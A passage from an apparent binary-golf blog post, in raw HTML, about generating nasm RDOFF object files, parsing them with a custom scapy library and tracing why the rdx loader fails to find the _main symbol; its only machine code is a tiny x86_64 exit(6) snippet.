&lt;p>(Tragic!): There was a &lt;a href="https://github.com/netwide-assembler/nasm/pull/18">PR&lt;/a> to the nasm repo from 2021 by &lt;code>objview&lt;/code> creator DosWorld, which suggested this same patch. It wasn&amp;rsquo;t accepted because the format was being deprecated!&lt;/p>
&lt;/blockquote>
&lt;h2 id="generating-a-broken-rdoff">Generating A Broken RDOFF&lt;/h2>
&lt;p>With a patched segalloc.c , I built &lt;code>testlib.asm&lt;/code> as a starting point. Incredibly, nasm didn&amp;rsquo;t complain, and created an RDF file for the first time this decade!&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">2025-11-22 22:01:40 ~/projects/binarygolf/bggp6/nasm-nasm-2.15
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">▶ nasm -f rdf testlib.asm -o testlib.rdf
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">2025-11-22 22:01:47 ~/projects/binarygolf/bggp6/nasm-nasm-2.15
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">▶ xxd testlib.rdf
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00000000: 5244 4f46 4632 7300 0000 3600 0000 020b RDOFF2s...6.....
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00000010: 0003 005f 7374 7263 6d70 0002 0900 0400 ..._strcmp......
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00000020: 5f6d 6169 6e00 0108 0001 0000 0004 0100 _main...........
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00000030: 0108 0006 0000 0004 0100 0108 400b 0000 ............@...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00000040: 0004 0300 0100 0000 0000 1300 0000 6800 ..............h.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00000050: 0000 0068 0400 0000 e8f1 ffff ff83 c408 ...h............
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00000060: c302 0001 0000 0008 0000 0061 6263 0061 ...........abc.a
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">00000070: 6264 0000 0000 0000 0000 0000 00 bd...........
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is the output from &lt;a href="https://linux.die.net/man/1/rdfdump">rdfdump&lt;/a>, a tool included with nasm.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">2025-11-22 22:01:56 ~/projects/binarygolf/bggp6/nasm-nasm-2.15
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">▶ rdoff/rdfdump rdoff/test/testlib.rdf
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">RDOFF dump utility, version 2.3
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">RDOFF2 revision 0.6.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Copyright (c) 1996,99 Julian R Hall
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Improvements and fixes (c) 2002-2004 RET &amp;amp; COM Research.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">File rdoff/test/testlib.rdf: RDOFF version 2
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Object content size: 115 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Header (54 bytes):
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> extern: segment 0003 = _strcmp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> extern: segment 0004 = _main
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> relocation: location (0000:00000001), length 4, referred seg 0001
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> relocation: location (0000:00000006), length 4, referred seg 0001
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> relocation: location (0040:0000000b), length 4, referred seg 0003
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Segment:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Type = 0001 (text)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Number = 0000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Resrvd = 0000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Length = 19 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Segment:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Type = 0002 (data)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Number = 0001
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Resrvd = 0000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Length = 8 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">NULL segment
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Total number of segments: 2
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Total segment content length: 27 bytes
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Sick!!&lt;/p>
&lt;p>Let&amp;rsquo;s try building 6.asm since the code is simpler and also targets x86_64.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">./nasm -f rdf 6.asm -o 6.rdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This also works! What happens when you run it?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">2025-11-22 22:06:23 ~/projects/binarygolf/bggp6/nasm-nasm-2.15/rdoff
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">▶ ./rdx ../6.rdf
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">rdx: could not find symbol &amp;#39;_main&amp;#39; in &amp;#39;../6.rdf&amp;#39;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Uh oh, it says it can&amp;rsquo;t find the &lt;code>_main&lt;/code> symbol. The same thing happens with &lt;code>testlib.rdf&lt;/code> too&amp;hellip; We DID just do the one thing they told us not to: reset the segment numbers.&lt;/p>
&lt;p>It&amp;rsquo;s likely that nasm incorrectly generated the file, and any further modifications to the nasm source could create even more problems. Let&amp;rsquo;s analyze the file ourselves to see how the generated structures actually line up from a binary perspective.&lt;/p>
&lt;h2 id="rdoff-file-analysis">RDOFF File Analysis&lt;/h2>
&lt;p>This is a hex dump of 6.rdf:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-hexdump" data-lang="hexdump">&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000000&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">5244&lt;/span> &lt;span class="mh">4f46&lt;/span> &lt;span class="mh">4632&lt;/span> &lt;span class="mh">4000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">1100&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0209&lt;/span> &lt;span class="s">RDOFF2@.........&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000010&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0003&lt;/span> &lt;span class="mh">005f&lt;/span> &lt;span class="mh">6d61&lt;/span> &lt;span class="mh">696e&lt;/span> &lt;span class="mh">0005&lt;/span> &lt;span class="mh">0401&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0001&lt;/span> &lt;span class="s">..._main........&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000020&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">000c&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">00b8&lt;/span> &lt;span class="mh">3c00&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">bf06&lt;/span> &lt;span class="s">..........&amp;lt;.....&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000030&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">000f&lt;/span> &lt;span class="mh">0502&lt;/span> &lt;span class="mh">0001&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0001&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s">................&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">00000040&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="mh">0000&lt;/span> &lt;span class="s"> ..........&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There are two strings in the hex dump, the RDOFF2 file signature, and the global function &lt;code>_main&lt;/code>. The code section starts at offset 0x29&lt;/p>
&lt;p>The &lt;code>rdfdump&lt;/code> utility uses the same file parsing functions as &lt;code>rdx&lt;/code>. It shows information about the RDF file&amp;rsquo;s contents.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">2025-11-22 22:06:39 ~/projects/binarygolf/bggp6/nasm-nasm-2.15
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">▶ ./rdoff/rdfdump 6.rdf
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">RDOFF dump utility, version 2.3
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">RDOFF2 revision 0.6.1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Copyright (c) 1996,99 Julian R Hall
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Improvements and fixes (c) 2002-2004 RET &amp;amp; COM Research.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">File 6.rdf: RDOFF version 2
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Object content size: 64 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Header (17 bytes):
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> extern: segment 0003 = _main
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> bss reservation: 00000001 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Segment:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Type = 0001 (text)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Number = 0000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Resrvd = 0000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Length = 12 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Segment:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Type = 0002 (data)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Number = 0001
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Resrvd = 0000
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> Length = 1 bytes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">NULL segment
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Total number of segments: 2
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Total segment content length: 13 bytes
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Weird, the header appears to have &lt;code>_main&lt;/code> listed as an &lt;code>extern&lt;/code>, and in segment 3? I thought it was supposed to be &lt;code>GLOBAL&lt;/code>? Also, where does the segment number come from? The &lt;code>.data&lt;/code> and &lt;code>.bss&lt;/code> look like what I would expect, and my &lt;code>.text&lt;/code> is indeed 12 bytes long. If there are no errors, why doesn&amp;rsquo;t it run?&lt;/p>
&lt;p>With a valid RDF that can be parsed by &lt;code>rdfdump&lt;/code>, it felt like the right idea to start writing my own generator that implements the file format, and use &lt;code>rdfdump&lt;/code> to validate it against the loader implementation shared with &lt;code>rdx&lt;/code>.&lt;/p>
&lt;h2 id="rdoff-scapy-implementation">RDOFF Scapy Implementation&lt;/h2>
&lt;p>&lt;a href="https://github.com/secdev/scapy">scapy&lt;/a> is a packet manipulation library written in Python, and is quite good at that! The cool part about scapy is that it has a lot of nice built in &lt;a href="https://scapy.readthedocs.io/en/latest/api/scapy.fields.html">data types&lt;/a> for you to use, from all the weirdo data types needed in all the protocols it supports. As a result, it makes a fantastic library for parsing and crafting files as well. Who says you have to &lt;code>send()&lt;/code> the &amp;ldquo;packets&amp;rdquo; you construct anyways? What is a packet if not a file in motion?&lt;/p>
&lt;p>Using scapy&amp;rsquo;s APIs, I wrote an RDOFF implementation &lt;a href="https://github.com/netspooky/bggp6-netspooky/blob/main/nasm-rdoff/rdoff.py">here&lt;/a> that consists of a header, and the two main record types:&lt;/p>
&lt;ul>
&lt;li>Header Records - We need a GLOBAL and a BSS segment. Also included are definitions for the other segment types. Each one of these has a slightly different layout, so I turned them all into their own classes.&lt;/li>
&lt;li>Segments - This is just a single class that contains the Segment data structure and the contents.&lt;/li>
&lt;/ul>
&lt;p>I won&amp;rsquo;t go into full details about writing in scapy, but I do plan to write a blog about using scapy for file format hax soon! I mainly just went through the RDOFF code and found the relevant structures, then translated them to scapy fields of the correct type. I did my best to keep most of the naming from the original source, but some structs and fields have different names that refer to the same thing. I also read through the loader code to verify how certain things were processed, if at all.&lt;/p>
&lt;p>After some time (and a bit of rubber duckying in the &lt;a href="https://binary.golf/">binary golf&lt;/a> discord voice chat), I got a full parser working for 6.rdf.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">▶ python3 RDOFF.py
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">###[ RDOFF ]###
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> magic = b&amp;#39;RDOFF2&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> obj_len = 64
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> hdr_len = 17
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> \hdr \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> |###[ Header ]###
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | \hdr_records\
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | |###[ RDFHDR_TLVs ]###
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | type = IMPORT
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | length = 9
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | \value \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | |###[ RDFREC_IMPORT ]###
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | | flags = 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | | segment = 3
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | | label = b&amp;#39;_main&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | |###[ RDFHDR_TLVs ]###
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | type = BSS
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | length = 4
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | \value \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | |###[ RDFREC_BSS ]###
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | | bss_size = 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> \segs \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> |###[ Header ]###
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | \rdf_segs \
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | |###[ RDFHDR_TLVs ]###
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | type = TEXT
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | number = 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | resrvd = 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | length = 12
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | data = b83c000000bf060000000f05
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | |###[ RDFHDR_TLVs ]###
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | type = DATA
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | number = 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | resrvd = 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | length = 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | data = 00
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | |###[ RDFHDR_TLVs ]###
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | type = NULL
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | number = 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | resrvd = 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | length = 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | | data =
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It matches up pretty well with the output from &lt;code>rdfdump&lt;/code>! I also used the library to also generate an exact copy of the original RDF that nasm made me :))&lt;/p>
&lt;h2 id="satisfying-the-loader-rdx-analysis">Satisfying The Loader: rdx Analysis&lt;/h2>
&lt;p>Previously, I noticed that the Header Record Type for the section pointing to &lt;code>_main&lt;/code> was IMPORT (2) (or EXTERN in the &lt;code>rdfdump&lt;/code> output) instead of what I would expect it to be, EXPORT (3) (also called GLOBAL in the nasm code). Header Record Type GLOBAL (3) has an extra field describing the offset of the text segment. I didn&amp;rsquo;t know where the &lt;code>offset&lt;/code> field was supposed to point to. Is it relative to the start of the file, or the &lt;code>.text&lt;/code> segment? Same with the &lt;code>segment&lt;/code> field which was set to 3 before. To be safe, I just left both at 0.&lt;/p>
&lt;p>Why did the nasm generator swap my global to an import and put it at segment 3 in the first place? This would be actually asking to the linker for the &lt;code>_main&lt;/code> function instead of specifying it as a global symbol.&lt;/p>
&lt;p>The more I thought about it, the more questions I had. Where would &lt;code>_main&lt;/code> even come from if I didn&amp;rsquo;t specify any other modules? What linker is it using? Where is the program being loaded in the first place? How is the image set up in the process? I had to re-focus.&lt;/p>
&lt;p>The core issue was that &lt;code>_main&lt;/code> can&amp;rsquo;t be found:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">rdx: could not find symbol &amp;#39;_main&amp;#39; in &amp;#39;../6.rdf&amp;#39;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Let&amp;rsquo;s take a look at &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/rdoff/rdx.c">rdx.c&lt;/a> to see where the error coming from. &lt;code>rdx&lt;/code> is a short program, really just meant to demonstrate the rdf loader capabilities. I adore the funny C shellcode loader style trick to execute the code. It only executes &lt;code>code&lt;/code> after it is able to find &lt;code>_main&lt;/code> in the symbol table and resolve it&amp;rsquo;s &lt;code>offset&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">78
&lt;/span>&lt;span class="lnt">79
&lt;/span>&lt;span class="lnt">80
&lt;/span>&lt;span class="lnt">81
&lt;/span>&lt;span class="lnt">82
&lt;/span>&lt;span class="lnt">83
&lt;/span>&lt;span class="lnt">84
&lt;/span>&lt;span class="lnt">85
&lt;/span>&lt;span class="lnt">86
&lt;/span>&lt;span class="lnt">87
&lt;/span>&lt;span class="lnt">88
&lt;/span>&lt;span class="lnt">89
&lt;/span>&lt;span class="lnt">90
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">symtabFind&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">m&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">symtab&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;_main&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fprintf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stderr&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;rdx: could not find symbol &amp;#39;_main&amp;#39; in &amp;#39;%s&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">exit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">255&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">code&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">main_fn&lt;/span>&lt;span class="p">)(&lt;/span>&lt;span class="kt">size_t&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">s&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">offset&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">argv&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">argc&lt;/span>&lt;span class="o">--&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="cm">/* remove &amp;#39;rdx&amp;#39; from command line */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nf">code&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">argc&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">argv&lt;/span>&lt;span class="p">);&lt;/span> &lt;span class="cm">/* execute */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This is a diagram of the various calls that process the incoming .rdf file and set up the code to execute.&lt;/p>
&lt;pre class="mermaid">%%{init: {'theme':'dark'}}%%
flowchart LR
classDef success stroke:#0f0
classDef important stroke:#0ef
rdx("rdx")
rdfload("rdfload")
rdfopen("rdfopen")
rdfopenhere("rdfopenhere")
rdfrelocate("rdfrelocate")
rdfgetheaderrec("rdfgetheaderrec")
symtabInsert("symtabInsert")
symtabFind("symtabFind")
code("code()"):::success
rdx --> rdfload
rdfload --> rdfopen
rdfopen --> rdfopenhere:::important
rdx --> rdfrelocate:::important
rdfrelocate --> rdfgetheaderrec
rdfrelocate -->|if type 3| symtabInsert
rdx --> symtabFind:::important
rdx -->|if _main found| code
&lt;/pre>
&lt;p>The initial parsing is done by &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/rdoff/rdoff.c#L266">rdfopenhere&lt;/a>, which reads the file and sets up internal structures based on the first header. Notably, it &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/rdoff/rdoff.c#L293">rejects&lt;/a> the RDOFF1 type altogether! If successful, &lt;code>rdx&lt;/code> calls the &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/rdoff/rdfload.c#L139">rdfrelocate&lt;/a> function, and iterates over the headers looking for two types: Relocate (1) and Export (3). If it finds an Export header record, it adds it&amp;rsquo;s name to the symbol table, which is where &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/rdoff/symtab.c#L116">symtabFind&lt;/a> looks for &lt;code>_main&lt;/code>.&lt;/p>
&lt;p>This means that our Import (2) Header Record Type never gets processed! In fact, load-time linkage is not supported at all. From &lt;a href="https://github.com/netwide-assembler/nasm/blob/nasm-2.15/rdoff/rdfload.c#L163">rdfload.c&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">163
&lt;/span>&lt;span class="lnt">164
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cm">/* We currently do not support load-time linkage.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> This should be added some time soon... */&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>I created a test RDOFF with my scapy lib, using an GLOBAL type instead of an IMPORT type.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;span class="lnt">37
&lt;/span>&lt;span class="lnt">38
&lt;/span>&lt;span class="lnt">39
&lt;/span>&lt;span class="lnt">40
&lt;/span>&lt;span class="lnt">41
&lt;/span>&lt;span class="lnt">42
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">test3_global&lt;/span>&lt;span class="p">():&lt;/span>
